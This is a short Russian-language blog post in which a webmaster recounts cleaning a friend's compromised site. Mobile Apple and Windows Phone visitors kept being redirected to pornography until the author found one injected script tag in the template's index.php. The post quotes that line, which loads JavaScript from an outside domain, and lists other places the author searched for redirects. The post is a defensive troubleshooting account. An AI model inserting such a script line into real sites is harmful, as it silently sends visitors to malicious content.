На сайте знакомого завелась зараза. Вирусы почистил, созданных пользователей удалил, сайт поднял. Yandex и Google признали сайт чистым и вернули в выдачу.
И тут звонок: "У меня с сайта выкидывает на голые попы". Проверяю - у меня все ок! Оказалась переадресация происходит только на устройствах Apple (iPhone и iPad) и на WindowsPhone. На моем Андрюше (Android) никаких признаков заражения.
Чем я только сайт не проверял: и локальными антивирусами (Kaspersky, MalwareBytes, DrWeb) и онлайн проверками (secu.ru, sitesecure.ru, www.virustotal.com) - везде сайт чист.
И только потом, потеряв кучу времени нашел в заголовке исходного кода страницы строчку (выделили красным):
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>" >
<script type='text/javascript' src='http://newswap.ru/js/?tds=109'></script>
<head>
Вот такой вот незаметный скрипт в одну строчку прописался в шапке файла index.php шаблона!
А я уже весь сайт перерыл на наличие редиректов в .htaccess, включений base64 в коде, location.replace, document.location, просто по дате изменений.
Здоровых вам сайтов и безопасного сёрфинга в сети.
